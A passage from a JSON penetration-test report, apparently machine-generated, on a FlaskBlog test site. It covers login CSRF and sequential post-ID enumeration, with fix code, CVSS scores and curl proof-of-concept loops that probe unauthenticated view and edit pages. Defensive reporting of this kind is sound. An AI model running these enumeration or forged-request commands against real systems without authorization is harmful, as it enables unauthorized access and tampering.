      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** 1–2 hours\n- **When:** Within 30 days\n- **What the fix involves:** Either add Flask-WTF CSRF tokens to the login form so each submission includes a secret that the server validates, or set `SameSite=Lax` on the session cookie so browsers refuse to include the cookie on cross-origin form POST submissions.\n\nThis finding should be resolved within 30 days.\n\n#### Root Cause\n\nThe FlaskBlog login form does not include a CSRF token, and the Flask session cookie is set without a `SameSite` attribute. Browsers that do not enforce a `SameSite=Lax` default will include the cookie in cross-origin `POST` form submissions, and even under `Lax` the form can still be triggered via certain navigation patterns. The missing CSRF token means the server has no way to distinguish a form submission that originated from its own login page from one that originated from an attacker's page.\n\n#### Recommended Fix\n\n**Option A — Add CSRF tokens via Flask-WTF (preferred):**\n\n**Before (vulnerable):**\n```python\n# app.py — no CSRF protection\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    ...\n```\n\n**After (secure):**\n```python\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.csrf import CSRFProtect\nfrom wtforms import StringField, PasswordField\n\ncsrf = CSRFProtect(app)  # protects all forms globally\n\nclass LoginForm(FlaskForm):\n    username = StringField('Username')\n    password = PasswordField('Password')\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    if form.validate_on_submit():   # includes CSRF validation automatically\n        ...\n```\n\nTemplate (`login.html`):\n```html\n<form action=\"/login\" method=\"post\">\n  {{ form.hidden_tag() }}  <!-- renders the hidden csrf_token field -->\n  ...\n</form>\n```\n\n**Option B — Set SameSite=Lax on session cookie (quick mitigation):**\n```python\n# Flask config\napp.config['SESSION_COOKIE_SAMESITE'] = 'Lax'\napp.config['SESSION_COOKIE_SECURE'] = True\napp.config['SESSION_COOKIE_HTTPONLY'] = True\n```\n\n**Additional Hardening:**\n- Apply both Option A and Option B for defense in depth — CSRF tokens protect against edge cases where `SameSite=Lax` is insufficient.\n- Set `SameSite=Lax` (or `Strict`) on the `user_email` cookie as well, and add `HttpOnly` to prevent JavaScript access to the plaintext email address.\n\n#### Verification\n1. **Test CSRF token enforcement:** Fetch the login page to obtain a CSRF token, then submit a login request with the CSRF token stripped from the form body. Expect `HTTP 400 Bad Request` or equivalent CSRF rejection. If login succeeds without the token, protection is incomplete.\n\n2. **Test SameSite enforcement:** Inspect the `Set-Cookie` response header after a successful login. It should include `SameSite=Lax` (or `SameSite=Strict`). If no `SameSite` attribute is present, the fix is not applied.\n\n3. **Simulate cross-origin submission:** Send a `POST /login` request using `curl` with an `Origin: https://evil-example.com` header and no CSRF token. Expect the server to reject the request (`HTTP 400` or `403`). If it returns `HTTP 302` and issues a session cookie, CSRF protection is not functioning.\n\n#### References\n- [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [CWE-352: Cross-Site Request Forgery](https://cwe.mitre.org/data/definitions/352.html)\n- [Flask-WTF CSRF Protection documentation](https://flask-wtf.readthedocs.io/en/stable/csrf.html)",
      "status": "open",
      "cweId": "CWE-352",
      "cvssScore": 5.4,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "impact": "medium",
      "likelihood": "medium",
      "impactStatement": "An attacker who successfully executes Login CSRF can observe all actions the victim takes under the attacker's session, including any content the victim creates or any personal data the victim submits through the application. If the application stores the victim's entries (e.g., draft posts, contact form submissions, personal profile updates) under the attacker's account, the attacker gains access to that data simply by logging back into their own account. The attack also serves as a precursor to stored XSS delivery: once the victim is logged in as the attacker, the attacker may arrange for XSS payloads to execute under the victim's browser context via the attacker's account content.",
      "likelihoodStatement": "Exploitable by an attacker who can host a web page and induce a victim to visit it — a standard phishing or social engineering precondition. No account compromise or technical skill beyond basic HTML is required. The attack requires one click (or zero clicks with a `<meta http-equiv=\"refresh\">` page). The victim must currently be using a browser that does not enforce `SameSite=Lax` by default on cross-site form POST submissions (older browsers, non-Chromium-based browsers, or browsers where the flag has been changed).",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    },
    {
      "id": "99350221-ef09-4385-9021-1234aa8a54e7",
      "title": "Sequential Integer Post IDs Enable Full Content Enumeration",
      "severity": "low",
      "category": "business-logic",
      "description": "The FlaskBlog application assigns sequential integer IDs to all blog posts, starting at 1 and incrementing by 1 for each new post. Both `GET /post/{id}` (view) and `GET /{id}/edit` (edit form) accept these IDs with no access control or visibility check. Iterating IDs from 1 upward with unauthenticated requests returned HTTP 200 for all IDs 1 through 24 — confirming that the full corpus of posts is discoverable and accessible without any authentication. There is no rate limiting, no CAPTCHA, and no random ID component to slow enumeration.",
      "evidence": "```\nEnumeration results (abridged):\nPOST 1: HTTP 200\nPOST 2: HTTP 200\nPOST 3: HTTP 200\nPOST 4: HTTP 200\nPOST 5: HTTP 200\nPOST 6: HTTP 200\nPOST 7: HTTP 200\nPOST 8: HTTP 200\n...\nPOST 24: HTTP 200\nPOST 25: HTTP 404   ← boundary confirmed\n\nTotal posts confirmed: 24\nAll accessible without authentication via sequential integer ID iteration.\nNo rate limit or enumeration protection observed.\n```",
      "poc": "1. Enumerate all posts by iterating IDs sequentially:\n   ```bash\n   for i in $(seq 1 50); do\n     status=$(curl -s -H \"X-Violet-Agent-Pentest: true\" \\\n       -o /dev/null -w \"%{http_code}\" \\\n       \"https://pentest-ground.com:81/post/$i\")\n     echo \"POST $i: HTTP $status\"\n   done\n   ```\n\n2. Cross-reference with edit access to identify editable records (confirms BL-VULN-01 scope):\n   ```bash\n   for i in $(seq 1 30); do\n     code=$(curl -s -H \"X-Violet-Agent-Pentest: true\" \\\n       -o /dev/null -w \"%{http_code}\" \\\n       \"https://pentest-ground.com:81/$i/edit\")\n     [ \"$code\" = \"200\" ] && echo \"Editable without auth: /post/$i\"\n   done\n   ```",
      "remediation": "#### Remediation Summary\n- **Who should fix this:** Backend developer\n- **Effort estimate:** Half a day (schema migration required)\n- **When:** In the normal development cycle\n- **What the fix involves:** Replace the sequential integer post ID with a randomly generated UUID so that post addresses cannot be guessed by counting.\n\nThis finding can be addressed in the normal development cycle.\n\n#### Root Cause\n\nThe application uses SQLAlchemy's default integer primary key (`id = db.Column(db.Integer, primary_key=True)`), which the database increments by 1 for each new row. This ID is used directly in URL routes (`/post/<id>` and `/<id>/edit`) with no secondary access control check, making the full address space of all posts predictable from the first record.\n\n#### Recommended Fix\n\n**Before (vulnerable):**\n```python\nclass Post(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(100), nullable=False)\n    content = db.Column(db.Text, nullable=False)\n    # ...\n\n@app.route('/post/<int:id>')\ndef post(id):\n    post = Post.query.get_or_404(id)\n    return render_template('post.html', post=post)\n```\n\n**After (secure):**\n```python\nimport uuid\n\nclass Post(db.Model):\n    id = db.Column(db.String(36), primary_key=True,\n                   default=lambda: str(uuid.uuid4()))\n    title = db.Column(db.String(100), nullable=False)\n    content = db.Column(db.Text, nullable=False)\n    # ...\n\n@app.route('/post/<string:id>')\ndef post(id):\n    post = Post.query.get_or_404(id)\n    return render_template('post.html', post=post)\n```\n\n**Additional Hardening:**\n- Enforce per-post visibility access controls server-side (e.g., `is_published`, `author_id` checks) regardless of ID format — UUIDs slow enumeration but do not replace access control.\n- Add rate limiting on the post view endpoint (e.g., 60 requests per minute per IP) to detect and throttle automated scanning even with opaque IDs.\n\n#### Verification\n\n1. **Confirm UUIDs are assigned to new posts:**\n   Create a post via the authenticated UI and check the URL — it should contain a UUID (e.g., `/post/a3f1c2d4-...`) rather than a small integer.\n\n2. **Confirm sequential prediction is no longer possible:**\n   ```bash\n   curl -s \"https://pentest-ground.com:81/post/1\" -o /dev/null -w \"%{http_code}\"\n   ```\n   - **Expected (secure):** `404` — integer IDs no longer exist.\n   - **Unexpected (still vulnerable):** `200`.\n\n3. **Confirm access control on private posts (if implemented):**\n   Create a draft post as User A. Log in as User B and attempt to access the UUID URL directly.\n   - **Expected (secure):** `403 Forbidden` or `404 Not Found`.\n   - **Unexpected:** `200` with post content visible.\n\n#### References\n1. OWASP Insecure Direct Object Reference: https://owasp.org/www-community/attacks/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet\n2. CWE-639 — Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html",
      "status": "open",
      "cweId": "CWE-639",
      "cvssScore": 5.3,
      "cvssVector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "impact": "low",
      "likelihood": "high",
      "impactStatement": "In the current application state all posts appear to be public, limiting the immediate confidentiality impact. However, the vulnerability becomes critical if the application is extended with draft posts, private posts, or any per-user visibility controls — all such records would be immediately discoverable via sequential enumeration. The pattern also directly enables the unauthenticated edit vulnerability (BL-VULN-01): an attacker does not need to guess or discover post IDs through any other means because they are trivially predictable.",
      "likelihoodStatement": "Exploitable by anyone with internet access using a simple loop in any scripting language or a browser — no login required, no technical expertise needed. Enumerating all 24 current posts takes under 5 seconds with a single `curl` loop.",
      "confidence": "confirmed",
      "createdAt": "2026-05-21T03:51:48.803Z",
      "updatedAt": "2026-05-21T03:51:48.803Z"
    }
  ]
}